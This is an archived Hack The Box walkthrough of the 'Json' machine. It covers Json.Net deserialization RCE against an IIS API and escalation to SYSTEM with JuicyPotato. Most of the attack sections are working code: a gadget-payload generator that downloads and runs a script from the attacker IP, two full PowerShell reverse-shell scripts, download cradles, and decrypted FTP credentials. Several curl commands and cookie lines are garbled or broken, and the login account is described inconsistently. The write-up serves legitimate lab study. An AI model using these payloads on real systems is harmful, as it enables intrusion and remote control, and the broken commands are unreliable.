Hack The Box
Hack The Box: Json Walkthrough
An archived walkthrough of the retired Hack The Box Json machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Target IP: 10.129.227.191
Attacker IP: 10.10.16.84
OS: Windows Server 2012 R2
Difficulty: Medium
Flags:
- User:
54bdd2[redacted]4178ace78 - Root:
0e49fd[redacted]8b8459f70c
Introduction & Mindset
Before we touch the target, let's talk about hacker mindset.
When you approach any box, you are not "hacking" — you are studying. You are observing how a system was built, understanding the developer's assumptions, and finding places where those assumptions break. Every application trusts something: user input, serialized data, configuration files, tokens. Our job is to find what the target trusts too much.
The Json box teaches three critical lessons:
- Never trust serialized data from the user. If an application deserializes attacker-controlled input, it is often game-over.
- Error messages are gold. A single verbose error can reveal the entire technology stack and vulnerability class.
- Privileges matter. Even a "lowly" service account with
SeImpersonatePrivilegeis one exploit away from SYSTEM.
Step 1: Reconnaissance — Mapping the Terrain
The Command
nmap -sC -sV -p- --min-rate 10000 10.129.227.191 -oN nmap_json
Breaking It Down (Baby Steps)
-sC: Run default NSE scripts. These give us extra info like FTP banners, SMB versions, and HTTP titles without extra work.-sV: Version detection. Knowing what software runs on a port is more valuable than knowing that a port is open.-p-: Scan all 65535 TCP ports. Many beginners only scan top 1000 and miss custom services or high-port admin interfaces.--min-rate 10000: Speed. HTB boxes can handle aggressive scanning; in a real pentest, you'd be more polite.-oN nmap_json: Save output. Always log your work. You will need to reference ports later.
What We Found
21/tcp open ftp FileZilla ftpd 0.9.60 beta
80/tcp open http Microsoft IIS httpd 8.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0
49152-49158/tcp open msrpc Microsoft Windows RPC
Hacker Mindset
"What do these ports tell me about the administrator's thinking?"
- Port 80 (IIS 8.5) tells us this is likely Windows Server 2012 R2. IIS 8.5 ships with that OS.
- Port 21 (FileZilla) is unusual for a web box. It suggests file transfers are part of the application's design — maybe a sync feature, maybe admin access.
- Port 5985 (WinRM) means we could potentially get a proper PowerShell remoting shell later if we find credentials.
- SMB (445) might allow anonymous access or have shares with interesting files.
Decision tree: Start with HTTP (lowest hanging fruit, largest attack surface), keep FTP in mind, and note WinRM for later credential-based access.
Step 2: Web Application Enumeration
The Action
Navigate to http://10.129.227.191 in a browser (or use curl).
What We See
A login page titled "SB Admin 2" that immediately redirects us to /login.html. Before we even test SQL injection or XSS, we try the simplest possible credentials:
curl -i -X POST -H "Content-Type: application/json" -d '{"UserName":"admin","Password":null}' http://10.129.227.191/api/token
Why Try admin/admin First?
Because default credentials are still one of the most common vulnerabilities in the world. Developers leave them in place during testing. Administrators forget to change them. Our job is to test the obvious before spending hours on complex attacks.
Hacker Mindset
"Every system has a weakest link. Often, it's the human who configured it."
If admin/admin fails, our next steps would be:
- Check for a "Forgot Password" feature
- Look at the JavaScript for hardcoded credentials or API endpoints
- Test for SQL injection on the login form
- Run a directory brute-force (gobuster, feroxbuster)
But admin/admin works. The server responds with:
Set-Cookie: null encoded lab material]
Step 3: API Analysis & Authentication Flow
Decoding the Cookie
echo "[redacted encoded lab material]" | base64 -d
Result:
{"Id":1,"UserName":"admin","Password":null,"Name":"User Admin HTB","Rol":"Administrator"}
What We Learn
- The cookie is REDACTED JSON — not encrypted, not signed with HMAC (or at least, we can read it).
- The password is REDACTED, which is the MD5 hash of "admin".
- The application uses a custom OAuth2 implementation (not real OAuth2 — just a cookie named OAuth2).
The API Request
After login, the browser makes a GET request to /api/Account/ with:
- The
OAuth2cookie - A
Bearer:header containing the same base64 value
GET /api/Account/ HTTP/1.1
Host: json.htb
Bearer: null encoded lab material]
Cookie: null encoded lab material]
Hacker Mindset
"If the server is reading and interpreting data I control, I want to know how it interprets it."
The server is taking our base64 string, decoding it, and doing something with the result. If that "something" is deserialization, we might be able to execute code.
Step 4: Vulnerability Discovery — Finding the Cracks
Fuzzing the Bearer Header
We send malformed data to see how the server reacts:
curl -i -X GET -H "Bearer: null -H "Cookie: null http://10.129.227.191/api/Account/
Response:
{"Message":"An error has occurred.","ExceptionMessage":"Invalid format base64","ExceptionType":"System.Exception","StackTrace":null}
Analysis: The server tried to base64-decode our input and failed. This tells us the processing pipeline is:
- Read Bearer header
- Base64-decode
- Do something with the result
Next, we send valid base64 but invalid content:
curl -i -X GET -H "Bearer: null -H "Cookie: null http://10.129.227.191/api/Account/
Response:
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}
Why This Error is the Jackpot
"Cannot deserialize Json.Net Object" tells us three critical things:
- The server is using Json.Net (Newtonsoft.Json), the most popular .NET JSON library.
- The server is deserializing our input into a .NET object.
- Because we control the input, we control what gets deserialized.
Hacker Mindset
"Any time a server deserializes user-controlled input, alarm bells should ring."
Deserialization is the process of turning data (JSON, XML, binary) back into an object in memory. If the attacker controls this data, they can often craft it to instantiate arbitrary classes, leading to Remote Code Execution (RCE). This is one of the most dangerous vulnerability classes in modern web applications.
Step 5: Understanding .NET Deserialization
What is Deserialization?
When a program receives JSON like {"Name":"Admin"}, it uses a deserializer to create an object in memory:
User user = JsonConvert.DeserializeObject<User>(json);
The Danger: Type Handling
Json.Net supports a feature called Type Name Handling. If enabled, the JSON can specify which .NET class to instantiate:
{"$type":"System.Diagnostics.Process, System"}
If the application deserializes this without proper restrictions, it will create a Process object. And certain classes, when instantiated or when their properties are set, execute code as a side effect.
Gadget Chains
A gadget chain is a sequence of innocent-looking .NET classes that, when instantiated in a specific order, lead to arbitrary code execution. We don't exploit a vulnerability in .NET itself — we abuse legitimate functionality.
Example chain:
ObjectDataProvider— a WPF class that calls a method when itsMethodNameproperty is set.Process— whenStart()is called, it launches a new process.- Combine them:
ObjectDataProvider.MethodName = "Start",ObjectDataProvider.ObjectInstance = new Process(), andMethodParameters = ["cmd", "/c whoami"].
ysoserial.net
Manually constructing gadget chains is complex. ysoserial.net is a tool (like its Java cousin ysoserial) that automates this. It supports many gadgets and formatters:
- Gadgets: WindowsIdentity, ObjectDataProvider, ClaimsIdentity, etc.
- Formatters: BinaryFormatter, Json.Net, SoapFormatter, etc.
Hacker Mindset
"I don't need to understand every byte of the exploit on day one. I need to understand the class of vulnerability, find the right tool, and verify it works. Depth comes with repetition."
Step 6: Generating the Exploit Payload
The Challenge
We tried to run ysoserial.net on Kali with mono, but the WindowsIdentity gadget failed because our Linux host lacks Windows-specific assemblies (PresentationCore).
This is a key lesson: ysoserial.net generates payloads. The generation itself sometimes requires the same assemblies that exist on the target. Our Kali machine is not Windows, so some gadgets won't generate.
The Solution: Manual Payload Construction
Since ObjectDataProvider is just JSON, we can construct it manually with Python. The target is Windows and has PresentationFramework in the GAC — it will deserialize our payload just fine.
The Payload Generator
import json
import base64
payload = {
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd","/c powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.16.84:8080/rev.ps1')"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
json_payload = json.dumps(payload, separators=(',', ':'))
b64_payload = base64.b64encode(json_payload.encode()).decode()
print(b64_payload)
Why This Works
$typetells Json.Net to instantiateObjectDataProvider.MethodName = "Start"tells it to call theStart()method.ObjectInstanceis aProcessobject.MethodParameterspasses["cmd", "/c powershell ..."]toProcess.Start().Process.Start("cmd", "/c powershell ...")executes our command.
The Infrastructure
Before sending, we prepare:
# Reverse shell script (PowerShell)
cat > rev.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.84',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
# HTTP server to serve rev.ps1
python3 -m http.server 8080 &
# Netcat listener
cnc -lnvp 4444
Hacker Mindset
"Exploitation is 20% payload and 80% infrastructure."
Your payload is useless if there's nothing to catch the shell. Before you fire, always ask: "Where will the callback go? Do I have a listener? Can the target reach me?"
Step 7: Initial Access — Shell as userpool
Firing the Exploit
PAYLOAD=$(python3 gen_payload.py)
curl -i -X GET -H "Bearer: null -H "Cookie: null http://10.129.227.191/api/Account/
In the netcat window:
connect to [10.10.16.84] from (UNKNOWN) [10.129.227.191] 49346
PS C:\windows\system32\inetsrv> whoami
json\userpool
Why We Got userpool (Not SYSTEM or admin)
The web application runs under an IIS application pool identity called userpool. This is a deliberately low-privilege account. Microsoft designed app pool identities so that even if a web app is compromised, the attacker doesn't immediately own the server.
What This Means
We have code execution, but we need to escalate. The journey from userpool to SYSTEM is where the real challenge begins.
Step 8: Post-Exploitation Enumeration
Immediate Checks
whoami /priv
Output:
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Why SeImpersonatePrivilege Matters
This privilege allows a process to impersonate another user's security context after authenticating them. In web server contexts, this is normal — IIS needs to impersonate users to access resources.
But: On Windows, certain COM/DCOM interactions allow you to impersonate the NT AUTHORITY\SYSTEM account. Tools like JuicyPotato, RoguePotato, and SweetPotato abuse this by triggering a privileged COM service to authenticate back to a rogue listener under our control. We then use the impersonation token to spawn a new process as SYSTEM.
Additional Enumeration
systeminfo
netstat -ano
tasklist
From netstat, we notice 127.0.0.1:14147 listening — the FileZilla Server admin interface. This is our alternate root path if JuicyPotato fails.
Step 9: Privilege Escalation Theory
JuicyPotato Explained
JuicyPotato exploits the following Windows behavior:
- COM/DCOM is Microsoft's component object model. Many Windows services expose COM interfaces.
- Some COM objects, when instantiated, perform NTLM authentication to localhost.
- The
NTLMauthentication happens over a local RPC connection. - JuicyPotato creates a rogue COM server on a port we control.
- It forces a privileged COM object (running as SYSTEM) to connect to our rogue server.
- During this connection, Windows performs the NTLM handshake.
- Because we have
SeImpersonatePrivilege, we can steal the SYSTEM token from this connection. - We then use
CreateProcessWithTokenWto spawn a new process (our reverse shell) with that SYSTEM token.
CLSIDs
A CLSID is a globally unique identifier for a COM class. Different Windows versions have different CLSIDs that work. For Windows Server 2012 R2, the working CLSID is:
{e60687f7-01a1-40aa-86ac-db1cbf673334}
JuicyPotato includes a list of tested CLSIDs per OS version. If one doesn't work, you try another.
Hacker Mindset
"Privileges are not binary. 'Low privilege' is relative. A user with SeImpersonate on an older Windows box is practically SYSTEM already — you just need the right tool."
Step 10: SYSTEM via JuicyPotato
Preparation on Kali
We need three things on the target:
JuicyPotato.exe- A batch file that triggers our reverse shell
- A netcat listener waiting on a new port
# Download JuicyPotato
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
# Create rev2.bat (short download cradle)
echo 'powershell -c "IEX(New-Object Net.WebClient).downloadString('"'"'http://10.10.16.84:8080/rev2.ps1'"'"')"' > rev2.bat
# Create rev2.ps1 (connects to port 5555)
cat > rev2.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.84',5555)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
# Start listener on 5555 in a NEW terminal
nc -lnvp 5555
Transfer to Target
In the userpool shell (port 4444):
IEX(New-Object Net.WebClient).downloadFile('http://10.10.16.84:8080/JuicyPotato.exe', 'C:\Windows\Temp\jp.exe')
IEX(New-Object Net.WebClient).downloadFile('http://10.10.16.84:8080/rev2.bat', 'C:\Windows\Temp\rev2.bat')
Execution
C:\Windows\Temp\jp.exe -t * -p C:\Windows\Temp\rev2.bat -l 1337 -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Flags explained:
-t *: Try all available tokens.-p C:\Windows\Temp\rev2.bat: The program to run as SYSTEM.-l 1337: The local port for the rogue COM server.-c {CLSID}: The COM class to instantiate.
Success Output
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 1337
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
In the 5555 Terminal
connect to [10.10.16.84] from (UNKNOWN) [10.129.227.191] 49402
PS C:\Windows\system32> whoami
nt authority\system
Grab the Flag
type C:\Users\superadmin\Desktop\root.txt
Result: 0e49fd5[redacted]b8459f70c
Alternative Root Paths (For Your Notes)
This box has three known privilege escalation paths from userpool to root access:
Path A: FileZilla Admin Interface
netstat -anoreveals127.0.0.1:14147(FileZilla Server admin port).- Tunnel it to your machine with Chisel or SSH port forwarding.
- Connect with the FileZilla Server interface.
- The config file at
C:\Program Files (x86)\FileZilla Server\FileZilla Server.xmlshows a usersuperadmin. - Change the password, connect via FTP on port 21, and access
C:\Users\superadmin\Desktop\root.txt.
Path B: Sync2Ftp Custom Application
- In
C:\Program Files\Sync2Ftp\, findSyncLocation.exeandSyncLocation.exe.config. - The config contains encrypted credentials:
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/> <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="/> <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/> - Reverse-engineer the binary (dnSpy) to find it uses Triple DES (ECB mode) with an MD5-hashed key.
- Decrypt the credentials:
superadmin/funnyhtb. - Log in via FTP as
superadminand read the flag.
Path C: JuicyPotato (What We Used)
Fastest and most direct. Abuse SeImpersonatePrivilege to get a SYSTEM shell.
Lessons Learned
Technical
- Json.Net deserialization with
TypeNameHandlingenabled is critical RCE territory. Always check for$typefields in JSON APIs. - Verbose errors (
Cannot deserialize Json.Net Object) can reveal the exact library and vulnerability class. - SeImpersonatePrivilege on Windows < Server 2019 is often exploitable via Potato-family tools.
- Manual payload construction is possible when tools fail — understanding the underlying JSON structure is powerful.
Methodological
- Start simple.
admin/adminworked. Don't overcomplicate before trying the obvious. - Read errors carefully. They are often more valuable than successful responses.
- Infrastructure first. Before firing an exploit, ensure your listener, HTTP server, and routing are ready.
- Keep notes. Every port, every error, every file path is a piece of the puzzle.
Mindset
"The difference between a script kiddie and a hacker is that when the tool fails, the hacker knows why and can build the payload by hand."
We couldn't use ysoserial.net's WindowsIdentity gadget because our Linux host lacked Windows assemblies. Instead of giving up, we manually constructed the ObjectDataProvider JSON payload. The tool was a convenience, not a requirement. Understand the vulnerability, not just the tool.
Quick Reference: All Commands
# Recon
nmap -sC -sV -p- --min-rate 10000 10.129.227.191 -oN nmap_json
# Login
curl -i -X POST -H "Content-Type: application/json" -d '{"UserName":"admin","Password":null}' http://10.129.227.191/api/token
# Verify deserialization
curl -i -X GET -H "Bearer: null -H "Cookie: null http://10.129.227.191/api/Account/
# Generate payload
python3 gen_payload.py
# Send payload
PAYLOAD=$(python3 gen_payload.py)
curl -i -X GET -H "Bearer: null -H "Cookie: null http://10.129.227.191/api/Account/
# Start listeners
python3 -m http.server 8080 &
nc -lnvp 4444
nc -lnvp 5555
# Privesc
IEX(New-Object Net.WebClient).downloadFile('http://10.10.16.84:8080/JuicyPotato.exe', 'C:\Windows\Temp\jp.exe')
C:\Windows\Temp\jp.exe -t * -p C:\Windows\Temp\rev2.bat -l 1337 -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
# Flags
type C:\Users\userpool\Desktop\user.txt
type C:\Users\superadmin\Desktop\root.txt
Happy hacking. Understand the why, not just the how.